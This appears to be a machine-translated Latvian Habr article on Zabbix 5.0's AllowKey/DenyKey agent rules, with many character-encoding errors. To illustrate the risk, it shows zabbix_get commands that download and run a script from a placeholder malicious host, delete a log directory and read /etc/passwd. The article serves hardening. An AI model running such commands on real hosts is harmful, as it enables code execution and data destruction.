Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Melnā saraksta un baltā saraksta atbalsts aģenta puses metrikām

Tihons Uskovs, integrācijas inženieris, Zabbix

Datu droŔības jautājumi

Zabbix 5.0 ir jauna funkcija, kas ļauj uzlabot droŔību sistēmās, izmantojot Zabbix Agent, un aizstāj veco parametru Iespējot RemoteCommands.

Uz aÄ£entiem balstÄ«tu sistēmu droŔības uzlabojumi izriet no tā, ka aÄ£ents var veikt lielu skaitu potenciāli bÄ«stamu darbÄ«bu.

  • AÄ£ents var apkopot gandrÄ«z jebkuru informāciju, tostarp konfidenciālu vai potenciāli bÄ«stamu informāciju, no konfigurācijas failiem, žurnālfailiem, paroļu failiem vai jebkuriem citiem failiem.

Piemēram, izmantojot utilītu zabbix_get, varat piekļūt lietotāju sarakstam, viņu mājas direktorijiem, paroļu failiem utt.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Piekļuve datiem, izmantojot utilītu zabbix_get

PIEZÄŖME. Datus var izgÅ«t tikai tad, ja aÄ£entam ir lasÄ«Å”anas atļaujas attiecÄ«gajā failā. Bet, piemēram, fails /etc/passwd/ lasāms visiem lietotājiem.

  • AÄ£ents var arÄ« izpildÄ«t potenciāli bÄ«stamas komandas. Piemēram, taustiņŔ *system.run[]** ļauj izpildÄ«t visas attālās komandas tÄ«kla mezglos, tostarp palaist skriptus no Zabbix tÄ«mekļa saskarnes, kas arÄ« izpilda komandas aÄ£enta pusē.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Operētājsistēmā Linux aÄ£ents pēc noklusējuma darbojas bez root tiesÄ«bām, savukārt operētājsistēmā Windows tas darbojas kā pakalpojums kā sistēma un tam ir neierobežota piekļuve failu sistēmai. AttiecÄ«gi, ja pēc instalÄ“Å”anas Zabbix aÄ£enta parametros netiek veiktas nekādas izmaiņas, aÄ£ents var piekļūt reÄ£istram, failu sistēmai un var izpildÄ«t WMI vaicājumus.

IepriekŔējās versijās parametrs EnableRemoteCommands=0 atļauts tikai atspējot metriku ar taustiņu *system.run[]** un palaist skriptus no tÄ«mekļa saskarnes, taču nevarēja ierobežot piekļuvi atseviŔķiem failiem, atļaut vai atspējot atseviŔķas atslēgas, kas tika instalētas kopā ar aÄ£entu, vai ierobežot atseviŔķu parametru izmantoÅ”anu.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Parametra EnableRemoteCommand izmantoÅ”ana iepriekŔējās Zabbix versijās

AllowKey/DenyKey

Zabbix 5.0 palÄ«dz aizsargāt pret Ŕādu nesankcionētu piekļuvi, nodroÅ”inot baltos un melnos sarakstus, lai aÄ£enta pusē atļautu un liegtu metriku.

Zabbix 5.0 visi taustiņi, ieskaitot *system.run[]** ir iespējoti, un ir pievienotas divas jaunas aÄ£enta konfigurācijas opcijas:

AllowKey= ā€” atļautās pārbaudes;

DenyKey = ā€” aizliegtas pārbaudes;

kur ir atslēgas nosaukuma modelis ar parametriem, kas izmanto metarakstzīmes (*).

Atslēgas AllowKey un DenyKey ļauj atļaut vai liegt atseviŔķu metriku, pamatojoties uz noteiktu modeli. AtŔķirÄ«bā no citiem konfigurācijas parametriem AllowKey/DenyKey parametru skaits nav ierobežots. Tas ļauj skaidri definēt, ko tieÅ”i aÄ£ents var darÄ«t sistēmā, izveidojot čeku koku ā€“ izpildāmās atslēgas, kur to rakstÄ«Å”anas secÄ«bai ir ļoti liela nozÄ«me.

Noteikumu secība

Noteikumi tiek pārbaudÄ«ti tādā secÄ«bā, kādā tie ir ievadÄ«ti konfigurācijas failā. Atslēga tiek pārbaudÄ«ta saskaņā ar noteikumiem pirms pirmās atbilstÄ«bas, un, tiklÄ«dz datu elementa atslēga atbilst paraugam, tā tiek atļauta vai liegta. Pēc tam noteikumu pārbaude tiek pārtraukta un atlikuŔās atslēgas tiek ignorētas.

Tāpēc, ja elements atbilst gan atļauÅ”anas, gan aizlieguma kārtulai, rezultāts bÅ«s atkarÄ«gs no tā, kura noteikuma konfigurācijas failā ir pirmā.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

2 dažādi noteikumi ar vienu un to paÅ”u rakstu un atslēgu vfs.file.size[/tmp/file]

AllowKey/DenyKey taustiņu izmantoÅ”anas secÄ«ba:

  1. precīzi noteikumi,
  2. vispārīgie noteikumi,
  3. aizliedzoŔs noteikums.

Piemēram, ja jums ir nepiecieÅ”ama piekļuve failiem noteiktā mapē, vispirms ir jāatļauj tiem piekļūt un pēc tam jāaizliedz viss pārējais, kas neietilpst noteikto atļauju ietvaros. Ja vispirms tiek izmantots aizlieguma noteikums, piekļuve mapei tiks liegta.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Pareiza secība

Ja jums ir jāļauj darboties 2 utilītiem, izmantojot *system.run[]**, un vispirms tiks norādīts aizlieguma noteikums, utilītas netiks palaistas, jo pirmais modelis vienmēr atbildīs jebkurai atslēgai, un turpmākie noteikumi tiks ignorēti.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Nepareiza secība

Raksti

Pamatnoteikumi

Raksts ir izteiksme ar aizstājējzīmēm. Metarakstzīme (*) atbilst jebkuram skaitam rakstzīmju noteiktā vietā. Metarakstzīmes var izmantot gan atslēgas nosaukumā, gan parametros. Piemēram, jūs varat stingri definēt pirmo parametru ar tekstu, un norādiet nākamo kā aizstājējzīmi.

Parametri jāiekļauj kvadrātiekavās [].

  • system.run[* - nepareizi
  • vfs.file*.txt] - nepareizi
  • vfs.file.*[*] - taisnÄ«ba

AizstājējzÄ«mju izmantoÅ”anas piemēri.

  1. Atslēgas nosaukumā un parametrā. Šajā gadījumā atslēga neatbilst līdzīgai atslēgai, kas nesatur parametru, jo modelī mēs norādījām, ka vēlamies saņemt noteiktu atslēgas nosaukuma beigas un noteiktu parametru kopu.
  2. Ja shēmā netiek izmantotas kvadrātiekavas, modelis atļauj visus taustiņus, kas nesatur parametrus, un liedz visus taustiņus, kas satur norādīto parametru.
  3. Ja atslēga ir ierakstīta pilnībā un parametri ir norādīti kā aizstājējzīme, tā sakritīs ar jebkuru līdzīgu taustiņu ar jebkādiem parametriem un nesakritīs ar taustiņu bez kvadrātiekavām, t.i., tā tiks atļauta vai aizliegta.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Parametru aizpildīŔanas noteikumi.

  • Ja ir paredzēts izmantot atslēgu ar parametriem, parametri ir jānorāda konfigurācijas failā. Parametri ir jānorāda kā metarakstzÄ«me. Ir rÅ«pÄ«gi jāliedz piekļuve jebkuram failam un jāņem vērā, kādu informāciju metrika var sniegt dažādos rakstÄ«bās - ar un bez parametriem.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

RakstÄ«Å”anas taustiņu ar parametriem iezÄ«mes

  • Ja atslēga ir norādÄ«ta ar parametriem, bet parametri nav obligāti un norādÄ«ti kā metaraksts, atslēga bez parametriem tiks atrisināta. Piemēram, ja vēlaties atspējot informācijas saņemÅ”anu par CPU slodzi un norādÄ«t, ka ir jāatspējo atslēga system.cpu.load[*], neaizmirstiet, ka atslēga bez parametriem atgriezÄ«s vidējo slodzes vērtÄ«bu.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Parametru aizpildīŔanas noteikumi

Piezīmes

koriģēŔana

  • Lietotājs nevar mainÄ«t dažus noteikumus, piemēram, atklāŔanas kārtulas vai aÄ£enta automātiskās reÄ£istrācijas noteikumus. AllowKey/DenyKey kārtulas neietekmē Ŕādus parametrus:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

PIEZÄŖME. Ja administrators atspējo atslēgu, pēc pieprasÄ«juma Zabbix nesniedz informāciju par to, kāpēc metrika vai atslēga ietilpst kategorijā "NAV ATBALSTÄŖTS'. AÄ£enta žurnālfailos netiek parādÄ«ta arÄ« informācija par attālo komandu izpildes aizliegumiem. Tas ir droŔības apsvērumu dēļ, taču tas var sarežģīt atkļūdoÅ”anu, ja metrika kāda iemesla dēļ ietilpst neatbalstÄ«tā kategorijā..

  • Ārējo konfigurācijas failu savienoÅ”anai nevajadzētu paļauties uz kādu konkrētu secÄ«bu (piemēram, alfabētiskā secÄ«bā).

Komandrindas utilītas

Pēc noteikumu iestatÄ«Å”anas jums jāpārliecinās, vai viss ir pareizi konfigurēts.

Varat izmantot vienu no trim iespējām:

  • Pievienojiet metriku Zabbix.
  • Pārbaudi ar zabbix_agentd. Zabbix aÄ£ents ar opciju -drukāt (-p) parāda visas atslēgas (kas ir atļautas pēc noklusējuma), izņemot tās, kuras konfigurācija neatļauj. Un ar opciju -pārbaude (-t) par aizliegtu atslēgu atgriezÄ«sies 'NeatbalstÄ«ta vienuma atslēga".
  • Pārbaudi ar zabbix_get. LietderÄ«ba zabbix_get ar opciju -k atgriezÄ«sies 'ZBX_NOTSUPPORTED: nezināma metrika".

Atļaut vai aizliegt

Varat liegt piekļuvi failam un pārbaudīt, piemēram, izmantojot utilītu zabbix_getka piekļuve failam ir liegta.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

**

PIEZÄŖME. Pēdiņas parametrā tiek ignorētas.

Šādā gadÄ«jumā piekļuvi Ŕādam failam var atļaut, izmantojot citu ceļu. Piemēram, ja uz to ved simboliskā saite.

Melnā saraksta un baltā saraksta atbalsts aÄ£enta puses metrikai Zabbix 5.0

Ieteicams pārbaudÄ«t dažādas norādÄ«to noteikumu piemēroÅ”anas iespējas, kā arÄ« ņemt vērā aizliegumu apieÅ”anas iespējas.

Jautājumi un atbildes

jautājums. Kāpēc noteikumu, atļauju un aizliegumu aprakstÄ«Å”anai tika izvēlēts tik sarežģīts modelis ar savu valodu? Kāpēc nebija iespējams izmantot, piemēram, regulārās izteiksmes, ko izmanto Zabbix?

atbilde. Å Ä« ir regulārās izteiksmes veiktspējas problēma, jo parasti ir tikai viens aÄ£ents un tas pārbauda lielu skaitu metrikas. Regex ir diezgan smaga darbÄ«ba, un Ŕādā veidā mēs nevaram pārbaudÄ«t tÅ«kstoÅ”iem metrikas. AizstājējzÄ«mes ā€“ universāls, plaÅ”i izmantots un vienkārÅ”s risinājums.

jautājums. Vai iekļauÅ”anas faili nav iekļauti alfabētiskā secÄ«bā?

atbilde. Cik man zināms, ir praktiski neiespējami paredzēt, kādā secÄ«bā noteikumi tiks piemēroti, ja noteikumus sadalÄ«sit dažādos failos. Es iesaku apkopot visus AllowKey/DenyKey noteikumus vienā Include failā, jo tie mijiedarbojas savā starpā un iekļaut Å”o failu.

jautājums. Programmā Zabbix 5.0 opcija "EnableRemoteCommands=' trūkst konfigurācijas failā, un ir pieejami tikai AllowKey/DenyKey?

Atbilde. Jā, tieŔi tā.

Š”ŠæŠ°ŃŠøŠ±Š¾ Š·Š° Š²Š½ŠøŠ¼Š°Š½ŠøŠµ!

Avots: www.habr.com

Pievieno komentāru